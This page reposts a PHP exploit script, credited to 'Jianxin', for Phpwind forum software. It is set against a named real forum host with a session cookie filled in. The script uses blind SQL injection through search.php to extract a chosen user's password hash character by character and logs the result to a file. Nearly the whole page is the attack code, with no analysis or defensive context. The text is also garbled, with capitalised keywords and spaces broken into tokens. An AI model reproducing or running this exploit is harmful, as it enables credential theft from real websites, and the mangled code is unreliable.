Phpwind0day code found on the Internet _ php Digest

Phpwind0day code found on the Internet


Codz By Jianxin

The Exploiet Of The All Phpwind Version
BY Jianxin

Ini_set ("max_execution_time", 0 );
Error_reporting (7 );

$ Path = "/search. php ";
$ Server = 'bbs .ccidnet.com ';
$ Cookie = 'lastfid = 0; ol_offset = 27160; ipstate = 1160671066; ipfrom = 7641b3edc60a722a72f5a76e55ce6e97% 09% B1 % B1 % BE % A9 % CA % D0 % B7 % BD % D5 % FD % BF % ED % B4 % F8 % 0D; lastvisit = 0% 091161077981% 09% 2Fsearch. php % 3F; auth = signature; PHPSESSID = 3b11a9ca33071f0b06c9aab0995918a7; cknum = signature % 3D ';

$ Useragent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;. net clr 2.0.50727;. net clr 1.1.4322 )";

$ Uid = 2;
$ _ GET ['uid'] & $ uid =$ _ GET ['uid'];
$ Tid = 539264;

$ Mask = 'no matching content found ';
$ Count = 0;

// $ Testing = 1;
// $ Testing = $ _ GET ['test'];
If ($ testing) {preg_match ('/X-Powered-By: php \/(. +) \ r \ n/ie ', send (""), $ php); echo $ php [1]; die ();}

// $ Debug = 1;

$ Temp = md5 (rand (1,100) + microtime ());
$ Cmd = "step = 3 & pwuser = ". $ temp. "loveshell ". "& uids =-1 ". $ SQL. "/* j & 184288238 = kkkk & 276791066 = jjjjjj ";
$ Response = send ($ cmd );

Preg_match ('/FROM (. +) threads/ie', $ response, $ match );

$ Pre = $ match [1];
If ($ match [1]) echo 'Good Job! Wo Got The pre: '. $ match [1]."
";
Else if (strpos ($ response, 'value = "" ') die ("You Are Not Login! Try to get anthor Cookie and Useragen value!
");
Else {echo "Maybe It is not vul!
"; Die ();}

Echo "Try to Get the uid = $ uid's Password :";
$Logtailfopen('log.txt ', 'A + ');

For ($ I = 0; $ I <16; $ I ++)
{

$ Type = 0;
$ Sub = $ I + 9;
$ Temp = md5 (rand (1,100) + microtime ());
$ SQL = "union select $ tid from ". $ pre. "members where uid = $ uid and ord (mid (password, $ sub, 1)> 47 and ord (mid (password, $ sub, 1) <58 ";
$ SQL = urlencode ($ SQL );
$ Temp = md5 (rand (1,100) + microtime ());
$ Cmd = "step = 3 & pwuser = ". $ temp. "loveshell ". "& uids =-1 )". $ SQL. "/*. & 184288238 = kkkk & 276791066 = jjjjjj ";
If (! Strpos (send ($ cmd), $ mask )){

$ Type = 0;
For ($ m = 48; $ m <= 57; $ m ++ ){
$ Temp = md5 (rand (1,100) + microtime ());
$ SQL = "union select $ tid from". $ pre. "members where uid = $ uid and ord (mid (password, $ sub, 1) = $ m ";
$ SQL = urlencode ($ SQL );
$ Temp = md5 (rand (1,100) + microtime ());
$ Cmd = "step = 3 & pwuser = ". $ temp. "loveshell ". "& uids =-1 )". $ SQL. "/*. & 184288238 = kkkk & 276791066 = jjjjjj ";
If (! Strpos (send ($ cmd), $ mask )){

Echo chr ($ m );
Fputs ($ log, chr ($ m ));
Break;
}
Continue;
}
Continue;
}

$ SQL = "union select $ tid from ". $ pre. "members where uid = $ uid and ord (mid (password, $ sub, 1)> 96 and ord (mid (password, $ sub, 1) <123 ";
$ SQL = urlencode ($ SQL );
$ Temp = md5 (rand (1,10000) + microtime ());
$ Cmd = "step = 3 & pwuser = ". $ temp. "loveshell ". "& uids =-1 )". $ SQL. "/*. & 184288238 = kkkk & 276791066 = jjjjjj ";
If (! Strpos (send ($ cmd), $ mask )){

$ Type = 1;
For ($ m = 97; $ m <= 122; $ m ++ ){
$ Temp = md5 (rand (1,100) + microtime ());
$ SQL = "union select $ tid from". $ pre. "members where uid = $ uid and ord (mid (password, $ sub, 1) = $ m ";
$ SQL = urlencode ($ SQL );
$ Temp = md5 (rand (1,100) + microtime ());
$ Cmd = "step = 3 & pwuser = ". $ temp. "loveshell ". "& uids =-1 )". $ SQL. "/*. & 184288238 = kkkk & 276791066 = jjjjjj ";
If (! Strpos (send ($ cmd), $ mask )){
Echo chr ($ m );
Fputs ($ log, chr ($ m ));
Break;
}
Continue;
}
Continue;
}

Echo "error!
";
Die ("Shit! May be the data you post is Not valid! Try anthor UID \ r \ n ");

}
Fclose ($ log );
Echo"
Done! We Post $ count times!
";

Function send ($ cmd)
{
Global $ path, $ server, $ cookie, $ count, $ useragent, $ debug;

$ Count = $ count + 1;
$ Message = "POST". $ path ."? HTTP/1.1 \ r \ n ";
$ Message. = "Accept: */* \ r \ n ";
$ Message. = "Accept-Language: zh-cn \ r \ n ";
$ Message. = "Referer: http: //". $ server. $ path. "\ r \ n ";
$ Message. = "Content-Type: application/x-www-form-urlencoded \ r \ n ";
$ Message. = "User-Agent:". $ useragent. "\ r \ n ";
$ Message. = "Host:". $ server. "\ r \ n ";
$ Message. = "Content-length:". strlen ($ cmd). "\ r \ n ";
$ Message. = "Connection: Keep-Alive \ r \ n ";
$ Message. = "Cookie:". $ cookie. "\ r \ n ";
$ Message. = "\ r \ n ";
$ Message. = $ cmd. "\ r \ n ";

$ Fd = fsockopen ($ server, 80 );
Fputs ($ fd, $ message );
$ Resp ="

";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="

";
If ($ debug) {echo $ cmd; echo $ resp ;}
Return $ resp;
}
?>